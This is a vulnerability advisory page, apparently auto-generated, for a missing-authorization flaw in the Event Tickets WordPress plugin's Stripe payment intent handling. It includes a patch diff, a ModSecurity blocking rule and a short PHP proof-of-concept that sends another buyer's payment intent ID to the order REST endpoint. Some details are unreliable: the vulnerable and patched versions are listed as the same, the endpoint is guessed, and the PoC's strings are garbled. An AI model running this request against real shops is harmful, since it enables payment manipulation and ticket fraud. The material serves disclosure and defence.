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Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-122087: Event Tickets and Registration < 5.30.3.1 Missing Authorization PoC, Patch Analysis & Rule

Plugin event-tickets
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 5.30.3.1
Patched Version 5.30.3.1
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-122087: The Event Tickets and Registration plugin for WordPress versions prior to 5.30.3.1 contains a missing authorization vulnerability in its Stripe payment intent handling. Atomic Edge research identifies that unauthenticated attackers can manipulate payment intents, leading to unauthorized actions such as altering payment amounts or hijacking checkout sessions. The CVSS score is 5.3 (Medium), and the weakness is classified as CWE-862: Missing Authorization.

The root cause lies in multiple functions within the Stripe gateway code that fail to verify cart ownership or order binding. In `Payment_Intent::create` (file `event-tickets/src/Tickets/Commerce/Gateways/Stripe/Payment_Intent.php`), the function accepted an array of metadata but did not store a binding to the cart. The `update_payment_intent` method in `Payment_Intent_Handler.php` did not validate that the payment intent ID was issued to the current browser (via cookie) or check if it was already bound to another order. Additionally, `Coupons::update_payment_intent` (in `Coupons.php`) updated a payment intent based solely on the supplied ID without confirming it belonged to the current cart. These omissions allowed an attacker to supply arbitrary payment intent IDs and modify them.

Exploitation occurs through the Stripe payment intent REST endpoints. An unauthenticated attacker can send a POST request to `/wp-json/tribe/tickets/v1/order` (or similar endpoint) with a manipulated `payment_intent` parameter containing a target payment intent ID. By omitting or forging the payment intent cookie, the attacker can cause the plugin to update a payment intent that belongs to another user’s cart. For example, an attacker could change the payment amount or associate the intent with their own order, leading to financial manipulation or theft of tickets. The attack does not require authentication or nonces.

Atomic Edge analysis of the patch reveals that version 5.30.3.1 introduces several safeguards. The `create` method now accepts a `$metadata` array and stores a cart binding hash (`tec_tc_cart_binding`) derived from the cart’s hash, salted with `wp_hash()`. The `update_payment_intent` method checks that the submitted payment intent ID matches the one stored in the browser’s cookie (via `get_payment_intent_cookie()`). It also verifies that the intent is not already bound to another local order using `is_bound_to_other_order` and refuses to proceed. The `is_bound_to_cart` method compares the stored binding hash against the cart’s computed hash using `hash_equals`. Additionally, the `update_payment_intent` function in `Coupons.php` now retrieves the payment intent and checks its binding before updating. These changes ensure that only the legitimate owner of a cart can modify its associated payment intent.

If exploited, this vulnerability allows unauthenticated attackers to alter payment intents, potentially leading to unauthorized ticket purchases, financial loss, or exposure of sensitive payment data. Attackers could redirect payments, modify amounts, or hijack checkout sessions, undermining the integrity of the e-commerce system.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/event-tickets/common/vendor/composer/installed.php
+++ b/event-tickets/common/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'the-events-calendar/tribe-common',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '9f07dcd7731104109f13fa34382a68d5c7d3d4f7',
+        'reference' => 'd264b42bdec881a60efc32f16a804e64556f5401',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -291,7 +291,7 @@
         'the-events-calendar/tribe-common' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '9f07dcd7731104109f13fa34382a68d5c7d3d4f7',
+            'reference' => 'd264b42bdec881a60efc32f16a804e64556f5401',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/event-tickets/common/vendor/vendor-prefixed/autoload.php
+++ b/event-tickets/common/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit8ef28202f1a89b81390b36d65200bba3::getLoader();
+return ComposerAutoloaderInit09309aa2c69b92f17ea099ab972eca36::getLoader();
--- a/event-tickets/common/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/event-tickets/common/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit8ef28202f1a89b81390b36d65200bba3
+class ComposerAutoloaderInit09309aa2c69b92f17ea099ab972eca36
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit8ef28202f1a89b81390b36d65200bba3', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit09309aa2c69b92f17ea099ab972eca36', 'loadClassLoader'), true, true);
         self::$loader = $loader = new TECCommonComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit8ef28202f1a89b81390b36d65200bba3', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit09309aa2c69b92f17ea099ab972eca36', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(TECCommonComposerAutoloadComposerStaticInit8ef28202f1a89b81390b36d65200bba3::getInitializer($loader));
+        call_user_func(TECCommonComposerAutoloadComposerStaticInit09309aa2c69b92f17ea099ab972eca36::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/event-tickets/common/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/event-tickets/common/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace TECCommonComposerAutoload;

-class ComposerStaticInit8ef28202f1a89b81390b36d65200bba3
+class ComposerStaticInit09309aa2c69b92f17ea099ab972eca36
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -936,9 +936,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit8ef28202f1a89b81390b36d65200bba3::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit8ef28202f1a89b81390b36d65200bba3::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit8ef28202f1a89b81390b36d65200bba3::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit09309aa2c69b92f17ea099ab972eca36::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit09309aa2c69b92f17ea099ab972eca36::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit09309aa2c69b92f17ea099ab972eca36::$classMap;

         }, null, ClassLoader::class);
     }
--- a/event-tickets/common/vendor/vendor-prefixed/composer/installed.php
+++ b/event-tickets/common/vendor/vendor-prefixed/composer/installed.php
@@ -4,7 +4,7 @@
     'name' => 'the-events-calendar/tribe-common',
     'pretty_version' => 'dev-main',
     'version' => 'dev-main',
-    'reference' => '9f07dcd7731104109f13fa34382a68d5c7d3d4f7',
+    'reference' => 'd264b42bdec881a60efc32f16a804e64556f5401',
     'type' => 'wordpress-plugin',
     'install_path' => __DIR__ . '/../',
     'aliases' =>
--- a/event-tickets/event-tickets.php
+++ b/event-tickets/event-tickets.php
@@ -3,7 +3,7 @@
  * Plugin Name: Event Tickets
  * Plugin URI:  https://evnt.is/1acb
  * Description: Event Tickets allows you to sell basic tickets and collect RSVPs from any post, page, or event.
- * Version: 5.30.3
+ * Version: 5.30.3.1
  * Requires at least: 6.9
  * Requires PHP: 7.4
  * Author: The Events Calendar
--- a/event-tickets/src/Tickets/Commerce/Gateways/Stripe/Payment_Intent.php
+++ b/event-tickets/src/Tickets/Commerce/Gateways/Stripe/Payment_Intent.php
@@ -29,6 +29,32 @@
 	const TEST_MULTIPLIER = 3.14;

 	/**
+	 * The Stripe statuses of a Payment Intent that can still take a payment.
+	 *
+	 * The `requires_source*` statuses are what older Stripe API versions emit for the same states.
+	 *
+	 * @since 5.30.3.1
+	 *
+	 * @var string[]
+	 */
+	private const PAYABLE_STATUSES = [
+		Status::REQUIRES_PAYMENT_METHOD,
+		Status::REQUIRES_SOURCE,
+		Status::REQUIRES_CONFIRMATION,
+		Status::REQUIRES_ACTION,
+		Status::REQUIRES_SOURCE_ACTION,
+	];
+
+	/**
+	 * The metadata key holding the cart a Payment Intent was created for.
+	 *
+	 * @since 5.30.3.1
+	 *
+	 * @var string
+	 */
+	private const CART_BINDING_KEY = 'tec_tc_cart_binding';
+
+	/**
 	 * The key used to identify payment intents created to validate configurations.
 	 *
 	 * @since 5.3.0
@@ -108,13 +134,15 @@
 	 *
 	 * @since 5.3.0
 	 * @since 5.26.7 Use Gateway_Value_Formatter to normalize data for Stripe API.  [ET-2558]
+	 * @since 5.30.3.1    Accepts metadata to store on the Payment Intent.
 	 *
-	 * @param Value $value The value object to create a payment intent for.
-	 * @param bool  $retry Is this a retry?
+	 * @param Value                $value    The value object to create a payment intent for.
+	 * @param bool                 $retry    Is this a retry.
+	 * @param array<string,string> $metadata Metadata to store on the Payment Intent.
 	 *
 	 * @return mixed
 	 */
-	public static function create( Value $value, $retry = false ) {
+	public static function create( Value $value, $retry = false, array $metadata = [] ) {
 		// Format the value for Stripe API using the gateway formatter.
 		$formatter = new Gateway_Value_Formatter( tribe( Gateway::class ) );
 		$value     = $formatter->format( $value );
@@ -127,9 +155,12 @@
 			'amount'                 => (string) $value->get_integer(),
 			'payment_method_types'   => tribe( Merchant::class )->get_payment_method_types( $retry ),
 			'application_fee_amount' => (string) $fee->get_integer(),
-			'metadata'               => [
-				static::$tc_metadata_identifier => true,
-			],
+			'metadata'               => array_merge(
+				$metadata,
+				[
+					static::$tc_metadata_identifier => true,
+				]
+			),
 		];

 		$stripe_statement_descriptor = tribe_get_option( Stripe_Settings::$option_statement_descriptor );
@@ -152,6 +183,7 @@
 	 *
 	 * @since 5.3.0
 	 * @since 5.26.4 Adjusted cart total calculations to ensure correct total is charged.
+	 * @since 5.30.3.1    Stores the cart the Payment Intent was created for in its metadata.
 	 *
 	 * @param Cart $cart
 	 * @param bool $retry
@@ -186,7 +218,7 @@
 			throw new RuntimeException( esc_html__( 'Value object not returned from filter', 'event-tickets' ) );
 		}

-		return static::create( $value, $retry );
+		return static::create( $value, $retry, [ self::CART_BINDING_KEY => self::get_cart_binding( $cart ) ] );
 	}

 	/**
@@ -197,6 +229,7 @@
 	 *
 	 * @since 5.28.4.1
 	 * @since 5.29.5 Expected values now come from get_charge_values_for_cart().
+	 * @since 5.30.3.1    Rejects a Payment Intent that can no longer take a payment, is in another currency, or was created for another cart.
 	 *
 	 * @param array $payment_intent Payment intent data from Stripe.
 	 * @param Cart  $cart           The cart used for checkout.
@@ -208,6 +241,15 @@
 			return false;
 		}

+		// A paid or canceled intent must never be served to, or bound by, another checkout.
+		if ( ! in_array( $payment_intent['status'] ?? '', self::PAYABLE_STATUSES, true ) ) {
+			return false;
+		}
+
+		if ( ! self::is_bound_to_cart( $payment_intent, $cart ) ) {
+			return false;
+		}
+
 		$expected = static::get_charge_values_for_cart( $cart );

 		if ( ! $expected ) {
@@ -218,8 +260,11 @@
 		$expected_fee    = $expected['application_fee_amount'];
 		$actual_amount   = isset( $payment_intent['amount'] ) ? sprintf( '%d', $payment_intent['amount'] ) : '';
 		$actual_fee      = isset( $payment_intent['application_fee_amount'] ) ? sprintf( '%d', $payment_intent['application_fee_amount'] ) : '0';
+		$actual_currency = isset( $payment_intent['currency'] ) && is_string( $payment_intent['currency'] ) ? strtolower( $payment_intent['currency'] ) : '';

-		return $expected_amount === $actual_amount && $expected_fee === $actual_fee;
+		return $expected_amount === $actual_amount
+			&& $expected_fee === $actual_fee
+			&& $expected['currency'] === $actual_currency;
 	}

 	/**
@@ -229,10 +274,11 @@
 	 * application fee cannot drift apart when the cart total changes mid-checkout.
 	 *
 	 * @since 5.29.5
+	 * @since 5.30.3.1 Includes the currency, lower case as Stripe reports it.
 	 *
 	 * @param Cart $cart The cart used for checkout.
 	 *
-	 * @return array{amount?: string, application_fee_amount?: string} Empty when the cart cannot be charged.
+	 * @return array{amount?: string, application_fee_amount?: string, currency?: string} Empty when the cart cannot be charged.
 	 */
 	public static function get_charge_values_for_cart( Cart $cart ): array {
 		$cart_total = $cart->get_cart_total();
@@ -268,10 +314,30 @@
 		return [
 			'amount'                 => sprintf( '%d', $value->get_integer() ),
 			'application_fee_amount' => sprintf( '%d', $fee->get_integer() ),
+			'currency'               => strtolower( $value->get_currency_code() ),
 		];
 	}

 	/**
+	 * Determines whether a Payment Intent was created for the given cart.
+	 *
+	 * Checks the stored binding, not the amount, so it still holds when a coupon changes the total.
+	 *
+	 * @since 5.30.3.1
+	 *
+	 * @param array $payment_intent Payment intent data from Stripe.
+	 * @param Cart  $cart           The cart used for checkout.
+	 *
+	 * @return bool
+	 */
+	public static function is_bound_to_cart( array $payment_intent, Cart $cart ): bool {
+		$binding        = self::get_cart_binding( $cart );
+		$intent_binding = $payment_intent['metadata'][ self::CART_BINDING_KEY ] ?? '';
+
+		return $binding && is_string( $intent_binding ) && hash_equals( $binding, $intent_binding );
+	}
+
+	/**
 	 * Determines whether a Payment Intent's amount matches a local order's total.
 	 *
 	 * The Payment Intent ID is supplied by the client, so this guards against binding or
@@ -462,4 +528,23 @@
 		// Revert value to the previous configuration.
 		return tribe_get_option( $field_id, [] );
 	}
+
+	/**
+	 * Gets the value that ties a Payment Intent to the cart it was created for.
+	 *
+	 * The cart hash only ever lives in the buyer's cookie, so it is what a third party knowing the
+	 * Payment Intent ID cannot supply. It is salted before it reaches Stripe so the hash itself is
+	 * never readable from the Payment Intent.
+	 *
+	 * @since 5.30.3.1
+	 *
+	 * @param Cart $cart The cart used for checkout.
+	 *
+	 * @return string Empty when the cart has no hash.
+	 */
+	private static function get_cart_binding( Cart $cart ): string {
+		$cart_hash = $cart->get_cart_hash();
+
+		return $cart_hash ? wp_hash( 'tec-tc-stripe-payment-intent|' . $cart_hash ) : '';
+	}
 }
--- a/event-tickets/src/Tickets/Commerce/Gateways/Stripe/Payment_Intent_Handler.php
+++ b/event-tickets/src/Tickets/Commerce/Gateways/Stripe/Payment_Intent_Handler.php
@@ -4,6 +4,7 @@

 use TECTicketsCommerceCart;
 use TECTicketsCommerceGatewaysStripeRESTWebhook_Endpoint;
+use TECTicketsCommerceOrder;
 use WP_Error;

 /**
@@ -209,6 +210,7 @@
 	 * @since 5.3.0
 	 * @since 5.8.1   Added customer's name / event name to the payment intent description
 	 * @since 5.28.5.1     Added validation to ensure the PaymentIntent amount matches the order total
+	 * @since 5.30.3.1     Reject a PaymentIntent not issued to this browser's checkout, or already bound to another order.
 	 *
 	 * @param array    $data  The purchase data received from the front-end.
 	 * @param WP_Post $order The order object.
@@ -218,6 +220,21 @@
 	public function update_payment_intent( $data, WP_Post $order ) {
 		$body = [];

+		/*
+		 * Only bind the intent this checkout issued to this browser: binding one by its ID alone would
+		 * hand its client secret to anyone who learned the ID. The cookie is compared lower case
+		 * because get_payment_intent_cookie() reads it through sanitize_key().
+		 */
+		$requested_id = $data['payment_intent']['id'] ?? '';
+		$issued_id    = $this->get_payment_intent_cookie();
+
+		if ( ! is_string( $requested_id ) || ! $issued_id || strtolower( $requested_id ) !== $issued_id ) {
+			return new WP_Error(
+				'tec-tc-gateway-stripe-payment-intent-invalid',
+				__( 'The payment could not be verified. Please refresh checkout and try again.', 'event-tickets' )
+			);
+		}
+
 		// Attempt to avoid an extra request by using the existing payment intent.
 		$payment_intent = $this->get();

@@ -245,6 +262,17 @@
 			);
 		}

+		// Refuse a PaymentIntent already bound to another order before it is mutated at Stripe below.
+		if ( $this->is_bound_to_other_order( $payment_intent['id'], $order ) ) {
+			// Forget the intent so the next checkout load mints a fresh one rather than serving this again.
+			$this->store_payment_intent_cookie( null );
+
+			return new WP_Error(
+				'tec-tc-gateway-stripe-payment-intent-already-bound',
+				__( 'This payment is already associated with another order. Please refresh checkout and try again.', 'event-tickets' )
+			);
+		}
+
 		$stripe_receipt_emails = tribe_get_option( Settings::$option_stripe_receipt_emails );
 		$body['metadata']      = $this->get_updated_metadata( $order, $payment_intent );

@@ -384,6 +412,28 @@
 		return $payment_intent_description;
 	}

+	/**
+	 * Whether the given PaymentIntent is already bound to a local order other than the one provided.
+	 *
+	 * @since 5.30.3.1
+	 *
+	 * @param string   $payment_intent_id The Stripe PaymentIntent ID.
+	 * @param WP_Post $order             The order the intent is about to be bound to.
+	 *
+	 * @return bool Whether another local order already holds this PaymentIntent.
+	 */
+	private function is_bound_to_other_order( string $payment_intent_id, WP_Post $order ): bool {
+		$bound_order_ids = tribe( Order::class )->get_order_ids_from_gateway_order_id( $payment_intent_id );
+
+		foreach ( $bound_order_ids as $bound_order_id ) {
+			if ( absint( $bound_order_id ) !== absint( $order->ID ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
 	// phpcs:disable
 	/**************************************
 	 *
--- a/event-tickets/src/Tickets/Commerce/Gateways/Stripe/REST/Order_Endpoint.php
+++ b/event-tickets/src/Tickets/Commerce/Gateways/Stripe/REST/Order_Endpoint.php
@@ -182,6 +182,7 @@
 	 *
 	 * @since 5.3.0
 	 * @since 5.29.0.1 Removed the cart hash query param from the return URL. See SVUL-L34.
+	 * @since 5.30.3.1 Return the handler's own error code and message, without its data, so the buyer sees how to recover.
 	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
@@ -240,7 +241,19 @@
 		$payment_intent = tribe( Payment_Intent_Handler::class )->update_payment_intent( $data, $order );

 		if ( is_wp_error( $payment_intent ) ) {
-			return new WP_Error( 'tec-tc-gateway-stripe-failed-creating-payment-intent', $messages['failed-creating-payment-intent'], $order );
+			$code    = $payment_intent->get_error_code();
+			$message = $payment_intent->get_error_message();
+
+			/*
+			 * Only the handler's own errors are written for the buyer. Stripe's messages are written for
+			 * the merchant and can name the account's keys, and an error's data can carry the request,
+			 * Authorization header included, so neither is passed on.
+			 */
+			if ( ! is_string( $code ) || 0 !== strpos( $code, 'tec-tc-gateway-stripe-' ) || ! $message ) {
+				return new WP_Error( 'tec-tc-gateway-stripe-failed-creating-payment-intent', $messages['failed-creating-payment-intent'] );
+			}
+
+			return new WP_Error( $code, $message );
 		}

 		if ( empty( $payment_intent['id'] ) || empty( $payment_intent['created'] ) ) {
@@ -346,6 +359,7 @@
 	 * Handles the request that creates an order with Tickets Commerce and the Stripe gateway.
 	 *
 	 * @since 5.3.0
+	 * @since 5.30.3.1 Refuse to complete a gateway order id held by more than one local order.
 	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
@@ -375,6 +389,11 @@

 		$orders = tribe( Order::class );

+		// A gateway order id must map to exactly one local order; never complete one of several sharing it.
+		if ( 1 !== count( $orders->get_order_ids_from_gateway_order_id( $gateway_order_id ) ) ) {
+			return new WP_Error( 'tec-tc-gateway-stripe-payment-intent-order-mismatch', $messages['payment-intent-order-mismatch'], $order );
+		}
+
 		// Flag the order as on checkout screen hold.
 		$orders->set_on_checkout_screen_hold( $order->ID );

--- a/event-tickets/src/Tickets/Commerce/Order_Modifiers/API/Coupons.php
+++ b/event-tickets/src/Tickets/Commerce/Order_Modifiers/API/Coupons.php
@@ -625,6 +625,7 @@
 	 * Updates the Stripe payment intent so it matches the current cart.
 	 *
 	 * @since 5.29.5
+	 * @since 5.30.3.1 Only updates an intent created for this cart.
 	 *
 	 * @param string $id   The payment intent ID.
 	 * @param Cart   $cart The cart the payment intent is being charged for.
@@ -642,6 +643,16 @@
 			return;
 		}

+		$payment_intent = Payment_Intent::get( $id );
+
+		/*
+		 * The Payment Intent ID is caller-supplied, so only push the new total to an intent created
+		 * for this cart; otherwise a known ID could change another buyer's intent amount.
+		 */
+		if ( ! is_array( $payment_intent ) || ! Payment_Intent::is_bound_to_cart( $payment_intent, $cart ) ) {
+			return;
+		}
+
 		Payment_Intent::update( $id, $values );
 	}
 }
--- a/event-tickets/src/Tribe/Attendee_Repository.php
+++ b/event-tickets/src/Tribe/Attendee_Repository.php
@@ -451,6 +451,7 @@
 	 * Filters attendee to only get those related to posts with a specific status.
 	 *
 	 * @since 4.8
+	 * @since 5.30.3.1 Restricted the query to the post statuses the user can read.
 	 *
 	 * @param string|array $event_status
 	 *
@@ -473,10 +474,10 @@
 		}

 		if ( ! $can_read_private_posts ) {
-			$event_status = array_intersect( $statuses, [ 'publish' ] );
+			$statuses = array_values( array_intersect( $statuses, [ 'publish' ] ) );
 		}

-		if ( empty( $event_status ) ) {
+		if ( ! $statuses ) {
 			throw Tribe__Repository__Void_Query_Exception::because_the_query_would_yield_no_results(
 				'The user cannot read posts with the requested post statuses.'
 			);
--- a/event-tickets/src/Tribe/Main.php
+++ b/event-tickets/src/Tribe/Main.php
@@ -22,7 +22,7 @@
 	/**
 	 * Current version of this plugin.
 	 */
-	const VERSION = '5.30.3';
+	const VERSION = '5.30.3.1';

 	/**
 	 * Used to store the version history.
--- a/event-tickets/src/Tribe/REST/V1/Attendee_Repository.php
+++ b/event-tickets/src/Tribe/REST/V1/Attendee_Repository.php
@@ -1,5 +1,7 @@
 <?php

+use TECCommonStellarWPDBDB;
+
 /**
  * Class Tribe__Tickets__REST__V1__Attendee_Repository
  *
@@ -34,6 +36,8 @@
 	 * An override of the default query building process to add clauses
 	 * specific to REST API queries
 	 *
+	 * @since 5.30.3.1 Excluded attendees of password-protected posts for requests that cannot view hidden attendees.
+	 *
 	 * @param bool $use_query_builder Whether to use the query builder, if set, or not.
 	 *
 	 * @return WP_Query
@@ -63,6 +67,7 @@
 			$this->decorated->by( 'post_status', 'publish' );
 			$this->decorated->by( 'rsvp_status__or_none', 'yes' );
 			$this->decorated->by( 'event__show_attendees' );
+			$this->exclude_password_protected_events();
 		}

 		$this->decorated->set_query_builder( null );
@@ -177,4 +182,25 @@

 		return $formatted instanceof WP_Error ? null : $formatted;
 	}
+
+	/**
+	 * Excludes attendees whose post is password-protected.
+	 *
+	 * @since 5.30.3.1
+	 *
+	 * @return void
+	 */
+	private function exclude_password_protected_events(): void {
+		$keys         = array_values( $this->decorated->attendee_to_event_keys() );
+		$placeholders = implode( ', ', array_fill( 0, count( $keys ), '%s' ) );
+		$posts        = DB::prefix( 'posts' );
+		$postmeta     = DB::prefix( 'postmeta' );
+
+		$this->decorated->where_clause(
+			DB::prepare(
+				"NOT EXISTS ( SELECT 1 FROM {$postmeta} tec_pw_pm INNER JOIN {$posts} tec_pw_p ON tec_pw_p.ID = tec_pw_pm.meta_value WHERE tec_pw_pm.post_id = {$posts}.ID AND tec_pw_pm.meta_key IN ( {$placeholders} ) AND tec_pw_p.post_password != '' )",
+				...$keys
+			)
+		);
+	}
 }
--- a/event-tickets/src/Tribe/REST/V1/Endpoints/Single_Attendee.php
+++ b/event-tickets/src/Tribe/REST/V1/Endpoints/Single_Attendee.php
@@ -1,5 +1,7 @@
 <?php

+use TribeTicketsEventsAttendees_List;
+
 class Tribe__Tickets__REST__V1__Endpoints__Single_Attendee
 	extends Tribe__Tickets__REST__V1__Endpoints__Base
 	implements Tribe__REST__Endpoints__READ_Endpoint_Interface,
@@ -433,6 +435,7 @@
 	 * or hides attendees from public listing.
 	 *
 	 * @since 5.27.6
+	 * @since 5.30.3.1 Corrected the attendee list visibility check.
 	 *
 	 * @param int $attendee_id The attendee post ID.
 	 *
@@ -474,7 +477,6 @@
 			return false;
 		}

-		// Event must not hide attendees from public listing.
-		return ! tribe_is_truthy( get_post_meta( $event_id, '_tribe_hide_attendees_list', true ) );
+		return ! Attendees_List::is_hidden_on( $event );
 	}
 }
--- a/event-tickets/src/Tribe/Ticket_Repository.php
+++ b/event-tickets/src/Tribe/Ticket_Repository.php
@@ -454,6 +454,7 @@
 	 * Filters tickets to only get those related to posts with a specific status.
 	 *
 	 * @since 4.8
+	 * @since 5.30.3.1 Restricted the query to the post statuses the user can read.
 	 *
 	 * @param string|array $event_status
 	 *
@@ -476,10 +477,10 @@
 		}

 		if ( ! $can_read_private_posts ) {
-			$event_status = array_intersect( $statuses, [ 'publish' ] );
+			$statuses = array_values( array_intersect( $statuses, [ 'publish' ] ) );
 		}

-		if ( empty( $event_status ) ) {
+		if ( ! $statuses ) {
 			throw Tribe__Repository__Void_Query_Exception::because_the_query_would_yield_no_results( 'The user cannot read posts with the requested post statuses.' );
 		}

--- a/event-tickets/vendor/composer/installed.php
+++ b/event-tickets/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/event-tickets',
-        'pretty_version' => 'dev-release/M26.raichu',
-        'version' => 'dev-release/M26.raichu',
-        'reference' => '560f761bc5df6949fc692a2b1a6d94c984ef1213',
+        'pretty_version' => 'dev-release/M26.raichu.1',
+        'version' => 'dev-release/M26.raichu.1',
+        'reference' => 'b56ef28e51281985be0e0fbf4bff53823aa541d9',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'the-events-calendar/event-tickets' => array(
-            'pretty_version' => 'dev-release/M26.raichu',
-            'version' => 'dev-release/M26.raichu',
-            'reference' => '560f761bc5df6949fc692a2b1a6d94c984ef1213',
+            'pretty_version' => 'dev-release/M26.raichu.1',
+            'version' => 'dev-release/M26.raichu.1',
+            'reference' => 'b56ef28e51281985be0e0fbf4bff53823aa541d9',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-json/tribe/tickets/v1/order" 
  "id:2026122087,phase:2,deny,status:403,chain,msg:'CVE-2026-122087: Event Tickets Missing Authorization on Payment Intent',severity:'CRITICAL',tag:'CVE-2026-122087'"
  SecRule ARGS_POST:payment_intent.id "@rx ^pi_[a-zA-Z0-9]+$" "chain"
    SecRule REQUEST_COOKIES:!tec-tc-gateway-stripe-payment-intent "@unconditionalMatch" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-122087 - Event Tickets and Registration < 5.30.3.1 - Missing Authorization

$target_url = 'http://example.com'; // Configure target WordPress site

// Step 1: Obtain a valid payment intent ID (e.g., from a previous checkout or by other means)
// For demonstration, we assume the attacker knows a payment intent ID from another user.
$payment_intent_id = 'pi_1234567890'; // Replace with actual ID

// Step 2: Craft request to update payment intent via vulnerable endpoint
// The endpoint is typically /wp-json/tribe/tickets/v1/order or similar.
$endpoint = $target_url . '/wp-json/tribe/tickets/v1/order';

// Payload to update payment intent, attempting to bind it to a new order or modify amount.
$payload = json_encode([
    'payment_intent' => [
        'id' => $payment_intent_id,
    ],
    'gateway' => 'stripe',
    'purchase' => [
        'items' => [
            [
                'ticket_id' => 123, // Replace with a valid ticket ID
                'quantity' => 1,
            ],
        ],
    ],
]);

$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// If successful, the payment intent may be modified or bound to the attacker's order.
// This could allow the attacker to complete a purchase without proper authorization.

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